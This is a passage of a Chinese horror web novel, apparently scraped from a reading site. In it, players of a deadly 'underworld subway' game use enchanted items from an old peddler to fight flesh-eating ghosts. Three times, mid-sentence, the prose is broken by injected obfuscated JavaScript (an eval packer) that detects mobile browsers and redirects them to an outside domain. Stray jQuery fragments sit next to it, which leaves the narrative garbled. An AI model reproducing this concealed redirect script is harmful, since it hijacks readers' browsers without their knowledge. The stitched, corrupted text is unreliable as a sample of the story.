虽然大家要搭乘的车可能不一样,但是总得先看到车才能放心。否则真这么等下去,那得等到什么时候?许莹莹也加入了找时间大军。不久后,遍寻无果的众人肉眼可见地焦躁起来。 广播适时出现。 “尊敬的乘客,请注意,从[魄门关]开往阳间的地铁将于五分钟后进站,请需要上车的乘客们站在站台门两侧,先下后上,不要拥挤……” 许莹莹简直止不住内心的吐槽欲。 她说怎么通关条件是乘坐 趟地铁呢,还以为车票上的黄泉地铁是个噱头,那始发站和终点站的位置有 层像刮刮乐 样的涂料,她悄悄用于指甲蹭过,没半点儿用,这会儿再从兜里偷偷拿出来 看, 涂料倒是完全不见了。 合着您这游戏还给玩家准备惊喜是吗?可这比起惊喜更像是惊吓吧?!到底谁家地铁是从地府往阳间开的啊? 许莹莹都不敢想待会儿开过来的车上会有什么恐怖的东西了…. 这时,一辆手推车骨碌碌在视野前方停下。 “要坐车啊。”推车的老婆婆幽幽地道。 玩家们都没搭理她,不过草编帽、张梦和许莹莹向她投去了目光,紧盯着她的一举一动。 “买点东西吧。”老婆婆说。 果然,她还有第二句话。 “怎么卖?”张梦问。 “一件东西,一张车票。”老婆婆答。 “我不买有事儿没?”草编帽问。 老婆婆神情莫测,朝他看了会儿,缓缓地摇了摇头。 草编帽“瞎”一挥手:“那你搞得那么玄乎,跟个鬼似的。” 老婆婆原本转开的脑袋瞬间折了回来,那双黑黝黝的眼珠子死死盯着他。他闭紧嘴巴,干笑两声,很不自在地撇过头去。 其他人听到对话也关注着这头。中年男快步走近,扣住手推车,恐吓道:“老太婆!你直说这东西买了是好是坏,否则我就把你这摊子掀了!” 老婆婆瑟缩了下,惧怕地看着他。 "说啊!"中年男抓着手推车另一端,大臂肌肉暴出,手推车两个车轮被抬离地面。老婆婆连忙牢牢抓住推车这端,“哎喻哎喻”叫了好几声,不情不愿地说:“都是好东西。”“行,那车留下,你人走吧!”中年男毫无尊老意识,用力将手推车拽向自己的方向。 许莹莹:勇哦。 中年男明显青筋暴起,力气非常大,手推车却纹丝不动。 老婆婆皱 纹遍布的手稳稳按着车把,她脸上仍然是那副惧怕的神情,但她说话时平淡的语气却使得面容与声音完全割裂开来,不由叫人觉得万分诡异。 "年轻人,不要贪得无厌。" 中年男瞠目结舌,但并没有就此顺服。他一手一把,抓起手推车上的东西就转身跑,中途碰落的、没拿稳的,接二连三掉了一地。 他没有回头去捡,一直往前跑。 在中年男往前跑了几十米后,他的身体突然像是被一条看不见的细线切割,精准地划过脖颈、胯间,将身体分成了三部分。 血液飞溅,许莹莹骤然睁大了眼。 身旁传来一声草编帽走了音的尖叫。 许莹莹猛地偏过头,捂住胸口开始干呕。 周围的声音她都听不见了,只顾一个劲儿地吐,可是时间一点一滴过去,她什么也没有吐出来,只有零星唾沫飞出。 许莹莹抹了下嘴角,试图从兜里找到一包纸巾擦掉地上的口水,结果却是翻了个遍也一无所获。她不得不放弃这个想法,回头去找手推车和老婆婆。正好看见两个男人嘀嘀咕咕地说着什么,一人拿着一样东西离开。她急忙抓住空隙跑到手推车边。“阿婆,要是没有车票怎么办?”老婆婆抬眼沉沉凝视着她。 许莹莹忍不住咽了咽唾沫,她还是第一次撒谎,被人这么盯着看心里止不住地发虚。好在老婆婆似乎并未看出什么破绽:“没有车票也可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832598|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,你从这两层再选一样东西带上车。”许莹莹看了看装有食物的那两层,指了指鸡肉卷,又从琳琅满目的推车商品中拿起一把玩具手.枪。"尊敬的乘客,列车即将进站,请您站到安全线外,先下后上,有序乘车……"许莹莹两手拿好,就见张梦随手抓了一袋面包,又接过了老婆婆包装好的螺蛳粉。那个气味…. 许莹莹捏住鼻尖,忍不住往远离她的方向迈了一步。 “那个老婆婆说这些东西拿来有好处,我们之前就是靠它们才活下来的。”张梦对张旭峰和陈佑说。 张旭峰原本热情的面色一僵:“可是刚才——” 张梦打断他:“刚才就算告诉你也没用,婆婆已经走了。但是许莹莹她也没说错。”张旭峰原本如同快要喷发的火山,听到话尾躁动的情绪又立刻安静下来。 “前面很长一段时间,地铁上都是安静的。”“直到……车厢里的灯突然灭了。”“有人离开了座位?”张旭峰猜测道。 张梦:“是的,上车的四个人里,有人站了起来。但这不是危险产生的原因。” 张旭峰本来起劲儿准备好的猜测说辞又被堵了回去。他有些沮丧,但为了通关还是配合地问道: "那原因是什么?" “因为那两个男人,弄丢了车票。” 地铁一直在平稳地行驶着。 不久前,许莹莹、张梦、草编唱和驼背男从一号门登车,车厢内留了四个空位,或许是经历了中年男的死亡,四人面上虽然现在一片正常,但是实际上却是心惊胆战,万分警惕。许莹莹掏出车票看了看,没有出现新的变化。 草编帽和驼背男已经一人抢占了一个位置,身边都坐着年轻貌美的女士或者是衣着还算干净的老人。 剩下的两个空位。 一个在边缘,右边挨着不断晃腿的小孩。 一个左手是位看上去浑身郁气、露出大花臂的大叔,右手边是个和朋友谈天说地、语气尖酸刻薄的姨姨。 许莹莹犹豫几秒,把小孩旁边的位置留给了张梦。 四人全部坐下后,地铁缓缓启动。 许莹莹尽量让自己不要碰到两边的人,缩着身子攥紧了手上的鸡肉卷袋子和玩具手.枪盒子。没有东西来打发时间,过了没多会儿,没见到任何异常的许莹莹掉线的胆子开始重连。 虽然还没敢和左右的乘客搭讪,但是她的目光自由放肆地在车厢里游走,附近能看到的广告牌都被她仔仔细细、字字句句地看了一遍。起初许莹莹最关注的是车门上方的电子屏幕,可惜在黄泉地铁上,那个位置完全是空白一片——游戏打定了主意不让玩家知道列车行驶的线路概况。看完这些,许莹莹又开始观察列车内的乘客,猜测着他们的年龄、职业、性格…… ——她实在太无聊了。 就这样打发了不知多久的时间,总之许莹莹觉得应该过了很久很久。 列车里的灯似乎闪烁了一下。 她从自己的杂七杂八的猜测中抽离,突然意识到列车载上四名玩家后再也没有停靠过任何一站。这时,原本还让人疑虑是否是错觉的灯带突然熄灭,地铁正在隧道中穿梭,灯光消失便是强硬剥夺视觉的黑暗。许莹莹左手把鸡肉卷都捏到变了形。 安静的车厢内,许莹莹突然听见了磨牙的声音。很近。就在她的左边。 23、婆婆的商品【二更】 列车匀速且平稳地行驶着,虞璃抱着布偶小狗玩手机里的单机游戏,鼻子突然窜进一股臭味,她抬眼向右侧一扫。许晓红手上拿着的,原本扎得十分紧的那小号桶装臭豆腐,此刻外面的塑料袋打结处已经松开,臭豆腐的气味从里面飘散出来。虞璃耸耸鼻尖,稍微往另一边挪了挪。 许晓红本人很快也意识到了这件事,她重新上手将塑料袋扎紧,继续听许莹莹的经历。 老板刘长青肚子“咕噜咕噜”叫了两声。 他拿着装有包子的小袋子,谨慎地问许莹莹:“这个能吃吗?”许莹莹迟疑几秒,点了点头:“应该可以吧?我之前吃掉了鸡肉卷,到现在也没出现什么问题。” 刘长青一听便放心了。他用袋子当手套拿起包子,避免沾上油。 旁边隔了几个人的地方,虞璃又吸了吸鼻子,往这边看了一眼。 刘长青咬下一口包子。 他惊喜地睁大眼睛,发出一声愉悦的感叹:"味道真不错!我从没吃过这么香的包子!" 许莹莹:“我之前吃鸡肉卷也是这种感觉。”没想到游戏还会给她们送免费的吃的。 人人都说,世界上没有免费的午餐。俗话也说,天上不会掉馅饼。 刘长青没咽下几口肉馅,连第一个包子都没吃完,灯忽闪了一下。 “….…!” 许莹莹立刻浑身戒备,恨不得身上的毫毛都竖成尖刺。 刘长青手指一松,剩下的三分之一个包子落回袋底。他嘴唇颤抖,声音也虚:“……刚刚刚是不是闪、闪了一下?” “是。”许晓红伸手撑在许莹莹身侧空余的地方,将她罩在自己的保护之下。 许莹莹警惕四周的同时,右手悄悄探入自己的上衣衣摆。 地铁内灯光再次亮起。 早已将脑袋转向了左侧的许莹莹看见一口锋利的獠牙。 花臂大叔四肢肌肉鼓胀,短袖直接因为膨胀的肌肉撕裂成了碎布条。口中还咬着一截人类的胳膊。 怪怪怪物…….! 许莹莹尖叫一声跳离座位。 灯灭之前,她看见断了一只胳膊的草编帽,正用残留的一臂全力撞击一名挡在他面前的乘客。 然后那名乘客头飞了。 黑暗之中,许莹莹满脑子全是“头飞了头飞了头飞飞飞飞飞了——”这次黑暗持续时间不长,许莹莹还没缓过劲儿,灯又亮了。她脚边就是那颗起飞又因为万有引力定律啪叽坠落的头。 许莹莹:….… 它甚至还在动,努力把跟地面的接触面从脖颈断口扭转成脸部。许莹莹害怕极了。她害怕得一脚踹飞了这颗脑袋。 旁边以为她吓呆了正打算过来帮她—把的张梦:“….…”许莹莹转身就跑。 灯光开始闪烁,许莹莹视野里的乘客统统变了样子。 有的抱着自己的脑袋,有的吐着长长的红舌头,有的流着殷红血泪转向她….许莹莹立刻僵在原地。不不不走了,她不走了。那鬼“唰”一下从她身侧飘了过去。许莹莹没忍住回了头。 驼背男拖着一条膝盖以下消失的腿单脚蹦。 一蹦就是几米远。 许莹莹震惊了。 连那狰狞的断口和咬得稀烂的裤腿她都顾不上害怕了。要她也能这样,还愁跳远不能满分吗? 于是,驼背男在前面跳着逃,流血泪的鬼在后面飘着追。起身的鬼越来越多,纷纷涌向草编帽和驼背男。 灯光一亮,驼背男的背影更小了。灯光又一亮,包围着草编帽的鬼怪群又一只鬼怪飞了。 张梦趁机把许莹莹拉到自己旁边。 倏地,有什么东西往许莹莹面前一砸,她下意识用胳膊一挡。 “啊!!!” ——许莹莹本来要发出这样的尖叫。 她的胳膊被一口利齿咬住了。但是她的嘴里也塞进了一条胳膊。许莹莹痛得眼泪哗哗地流,疯狂甩自己的左胳膊。好不容易把鬼的脑袋甩远了,手上的鸡肉卷也被张梦拿走了。张梦抽出被她咬出血印破了皮的胳膊,把鸡肉卷拆开怼进她嘴里。 “你去门口吃,别叫。” 驼背男那边先出结果。 他单脚锚到底还是不如双脚飞奔来得省力,反复几次跳跃后不得不停下来休息,可是鬼怪不知疲倦,见有机会,飞快冲上前你 条胳膊我 条胆给他大卸八块,停在原地拿着驼背男的手腿吃了起来。 许莹莹差点儿把刚吃进去的鸡肉又吐出来。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832599|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是到底已经见过一次,耐受度稍有提升,她努力忍忍,居然也把呕吐欲忍了回去。 草编帽也很快没了声音。 围在他四周的鬼怪各自散开,露出的空地上除了一滩血迹竟然找不到一根人骨。 一片鲜红中,那一抹灰白色彩无比鲜明。 张梦瞬间就从许莹莹旁边冲了过去,跑到那里迅速捡拾起那抹灰白,还没退回原位的鬼怪又蜂拥而上。张梦反手将拎在手里,提前解结取掉盖子的螺蛳粉正面扣向鬼怪!里面的油脂和加料也随着她这一扬手四处飞散。接着她马不停蹄冲向驼背男的尸体。 驼背男仅剩的头颅也莫名消失。 张梦的速度快到许莹莹无法用眼睛捕捉,但是一看到鬼怪会反扑张梦,吃完鸡肉卷的许莹莹立刻把塑料袋团巴团巴往裤兜里一揣,火速拆开了玩具手枪的包装盒。下一秒,她吃惊地看着自己手心里变大了几倍,真实到和装在盒子里时完全不同的手.枪。仿佛天生就知道该怎么用一样,她熟练地上膛、瞄准—— 飒! 张梦眼疾手快拿起第二抹灰白后,身体灵活一扭,避开一只指甲十几厘米长的掏心鬼手,调转方向往回冲。 砰! 一颗子弹不偏不倚地洞穿张大血口扑上来的鬼怪,再从她的耳畔掠过。 不远处,黑发少女眼神坚毅,只不过和她对上视线后,立刻露出了满口白牙的活泼笑容。张梦:...…好家伙,你可真会挑啊。 灯光骤灭。 因为许莹莹和张梦提醒而早有防备的玩家们并没有迎来彻底的黑暗。一点微弱的光芒让他们还能看见彼此的脸。 六人不谋而合,齐齐望向某位上车后便汇入鬼怪大流,毫无存在感的白发女生。 ——只看见了一个粉格贝雷帽。 不过女生很快抬起头来,和斜对面的张梦三人对上眼后,她又若无其事地低下头。 三秒后。 车厢内更明亮了。 众人看着那手机背部亮起的、象征手电筒的白光,又看了看四周还很正常的鬼怪乘客。 不知为什么,总觉得他们脸上的表情和之前比起来,好像不太自然。 面部有点扭曲。 嘴角仿佛在抽搐。 24、纸片人与自由飞翔 虞璃玩游戏玩得超认真超专注的。她真没听见玩家说了些什么。 之所以打开手机的电筒,纯粹是因为黑漆漆的环境令人不安,合理运用工具解决问题而已。 ……就是莫名觉得开了手电筒后,身边更阴冷了。 身体两侧的乘客都盯着她,他们的视线让虞璃觉得很不舒服,严重影响到了她玩游戏的心情。虞璃本想扭头,看看他们是在看她的手机屏幕还是看她本人,周围却在一瞬间彻底陷入黑暗。 ——手机屏幕和电筒一起关掉了。 虞璃戳了好几下屏幕,手机跟关机了似的没半点反应。令人牙酸的咯咯声从四面八方传来,像是惊悚片里扭动适应新身体的怪物。 虞璃福至心灵。懂了,她挡人家游戏进度,被系统“正义制裁”了。 暂时还没确认这到底是梦境还是真实的虞璃半点不慌,毕竟虽然原因未明,但是鬼怪对她莫名的惧怕,经推车婆婆验证后尚且存在。对这款貌似是以鬼怪恐吓、残杀作为唯一攻击手段的游戏来说,她这份百分百生效的被动能力堪称得天独厚的金手指。 玩家们和有挂在手的虞璃反应截然不同。如果说上一秒他们如在天堂,这一秒就已经被打入地狱。 游戏怎么可能那么简单放过他们?玩家哪里玩得过策划。 "刘叔快喝饮料!姑姑你把玩具车包装盒拆掉!" 许莹莹焦急吩咐道,已经得知这些商品都有特殊效果的两人几乎在她出声前后行动了起来。 另一边,张梦并没提醒二人,而是建议张旭峰在位置上别动:“鬼怪肯定不是来找你的,千万别离开座位。”张旭峰立即点头,他也从张梦之前的只言片语摸到了游戏的部分规则。 张梦和许莹莹相互配合,枪林弹雨之中倒下无数鬼怪,鬼魅身形穿梭在连续不断冲来的鬼怪之间,频频挥动胳膊击飞一些大头鬼。 张梦之前观察得出,大头鬼头重脚轻,个头和样貌都明显由幼童变化而来,赢弱的身躯无法支撑巨大的头颅,因此一不小心脑袋就“啪叽”落地了。 或许正是因为身体太容易分离,它的生命力异常顽强,虽然能做到击飞,但是光靠拳头击打无法使它彻底消失,头颅落地后会执着地浴回身体附近,再由无头尸身仲出胳膊把它从地上捡起来安回原位。 不过张梦只求和许莹莹汇合,不求自己能伤害多少鬼怪。 她从出发去捡草编帽和驼背男尸首消失后的“掉落”开始,就做好了充分的负伤准备。只要能活着,断条胳膊腿也是小事。再说鬼怪既然一直没有攻击她们,说明对她们来说危险性并不算高。 富贵险中求,该冲就得冲。 两人汇合后,彼此形容都很狼狈。 先前咬住许茔莹胳聘的那颖脑袋飞来时砸了她满胳聘血,衣服上也沾了零星,之前从座位离开也没有余力去躲避飞溅的血迹,再加上刚才一番苦战 两人都没有说笑休息的心思,背部相抵,预备接着迎 接鬼怪的冲袭。 不料鬼怪纷纷放弃对二人——主要是张梦的继续攻击,纷纷回到了自己的座位上。 广播再次响起,女人的声音轻缓温和。 尊敬的各位乘客,列车刚才经过信号干扰路段,故未能及时通报,我们理解您在失去光明后的恐惧与惊慌,但是在列车停止行驶前强行下车、破坏车厢门是非常恶劣的行为,列车全体乘务人员绝不姑息。”“同时,我们衷心提示各位尊敬的乘客:本次列车不提供车票补办服务,请保管好您的车票,避免遗失。” "前方到站——滋滋——滋——,请需要下车的乘客做好下车准备,列车将开启左侧车门……" 灯光亮起,车厢内恢复了上车时的原状。 血迹、残肢、粉条、血腥味……全部消失,像是未曾存在过一般。 许莹莹和张梦对视一眼,终于松了口气,相视一笑。 张梦展开手心,豪赌换来的那两抹灰白,是无名无姓的两张空白车票。名字上覆盖着一层涂料,和之前许莹莹看见过的如出一辙。“稍微试着刮一下?”许莹莹小声问。张梦从边缘轻轻刮过,涂料粉末飒飒掉落,被张梦摊开的手心接住。 它能被刮动。两人同时心想。 张梦说:"先不刮完吧,待会儿下车再说。"许莹莹同意。 之后,列车驶入站台,许莹莹很远就看见了她的姑姑许晓红。“那也是玩家吗?”张梦起先是疑惑,然后被许莹莹的焦急感染,“——有你认识的人?” “嗯!是我姑姑。” 待会儿你去确认一下,是玩家就得让他们意识到车上很色险,如果你 姑没有车票,那你赶紧带她来我那里。”张梦飞快地安排,“我下车直接去找那个老婆婆,看看这两张车票能不能跟她换东 西。” “好,就这么办!”许莹莹凑近车窗,迫不及待要去找许晓红。 “啊嗷!!!”刘长青发出一声怪叫,疼痛让他失去理智,忘记了许莹莹之前的嘱托,“痛死老子了,你不是说没事儿的吗?!”他问的是许莹莹。许莹莹也不知道什么情况:“……我吃确实是没事啊。” 所以这一次是因 为刘长青吃了包子,鬼怪才出现的?为什么她吃鸡肉卷却没事呢? “滚开啊!滚!旁边那俩你们看不见吗?去咬她们啊!滚啊——"”他已经完全丧失理智了。听见刘长青的话,许晓红推着许莹莹往旁边挪动,搂紧了她的肩膀。 因为只隔着一件衣服,许莹莹清楚地感受到许晓红的手不住颤抖。许莹莹握紧用裤腰卡在肚皮和大腿上的手.枪,努力用耳朵去听周围混乱声音中的微小动静。 她们和刘长青坐在一起,就算再怎么挪动也始终离男人极近。他吱哇乱叫的声音不绝于耳,吵得人心烦意乱,那股烦劲儿都压过了恐惧。许莹莹迫切期待着光亮的到来。 不知不觉间,她旁边的女人好像抖得越来越厉害了。“姑姑?”许莹莹靠近许晓红的方向,轻轻地问。许晓红没有回答,握住她肩膀的右手这时收了回去。 灯光亮起,许莹莹几乎是马上抽出手.枪对准许晓红、刘长青的方向,同时蹭着座位往另一边移动——另一边已经没有乘客了。 刘长青满脸都是眼泪,眼睛直直望着车厢顶部,心脏位置破了个大洞,腹部肠子都拖了出来。 死得不能再死。 许晓红腿上原本放着卡通玩具车和装有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832600|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭豆腐的小号桶,此刻小号桶已经放在了她和刘长青之间空处。 而许晓红本人左臂塞在身前只有眼眶没有眼珠的鬼嘴里,它正嚼得津津有味嘎嘣嘎嘣脆,原来的位置只剩下个不规整的切面。 许莹莹一愣,没有立马朝扑向许晓红的鬼怪开枪。 原来刚刚姑姑没有回应,是因为她太疼了。 骨头被整个撕裂下来的那种疼,如果她一开口,恐怕就根本抑制不住破碎的声音了吧。 许晓红此刻也正在用唯——只手,忍痛抽出刚才摸黑打开的包装盒里装着的卡通玩具车,没有精力分心去对付扑向自己的鬼怪。只是看见拿着枪的许莹莹,她脸上露出了一点笑意。 原来莹莹活下来靠的是这个东西,那她这次……应该也能撑到最后吧。玩具车抽出四分之三,鬼怪血红色的长舌已经近在咫尺。许莹莹处于亲人遭难的惊骇之中,张梦那边三人手上似乎也没有能派上用场的东西,对死亡的恐惧让许晓红闭上了眼睛。 千钧一发之际,子弹迸射之声破空而来。 接二连三的枪声响起,许莹莹咬紧牙关一次次扣动扳机,直到后坐力使她手臂发麻,必须停下来休息。 许晓红拿出的卡通玩具车一离开包装盒就脱了手,掉落在地上变大数倍,变成了一个造型可爱的小车——类似于那种常见的一两岁小孩自己开着跑的车车,不过还要更大一点。 许晓红:? 许莹莹:"姑姑!坐进去!" 许晓红:你认真的吗。 许莹莹:“死马当活马医!试试不吃亏啊姑姑!” 许莹莹的暴力清场确实在许晓红周围弄出了一片“真空地带”,但是她一停下,安全线外跃跃欲试的鬼怪又有了死灰复燃之态。 许晓红拖着手臂站起来,左脚先迈右脚后迈,踩进小车里。 一个面上一本正经的女人坐在卡通车里,怎么看怎么违和。 许晓红一挪位,鬼怪也跟着调转脑袋,目标盯死了是她。 “姑姑踩油门!姑姑撞上去!”许莹莹在后面为她加油打气。 噌——! 一柄刀擦着她脑门刺入车厢的墙壁。 背后准备偷袭的鬼摸了摸自己被削掉一层的脑壳,“哇啊——”哭了出来。 “你可让人省点儿心吧。”张梦从鬼怪之间挤过来,拿回那把玩具刀拆封后变成的真刀。 她的速度此刻已经恢复到只比普通人快一些。 ——之前张梦告诉过许莹莹,那种变态的速度和反应能力是因为她吃掉了老婆婆的面包,暂时不知道能持续多久。 现在看来,这样的能力就和食物一样,是会被逐渐消化掉的,仅仅吸收保留很少的一部分。许莹莹心有余悸后退一步,背部抵着墙根,又很嫌弃地看了一眼那只丢失一层脑壳、正放声痛哭的鬼。张梦也站在她旁边,靠着墙根戒备四周。但是,她却怎么也无法做出严肃的神情。 车厢内,一辆卡通车正载着一名长发飞舞的成熟女人在通道上风驰电掣。所过之地如同推土车一般,鬼怪被碾平成贴在地上的薄薄纸片,或是向着车厢顶自由飞翔。 张梦:….确定这是一款逃生游戏?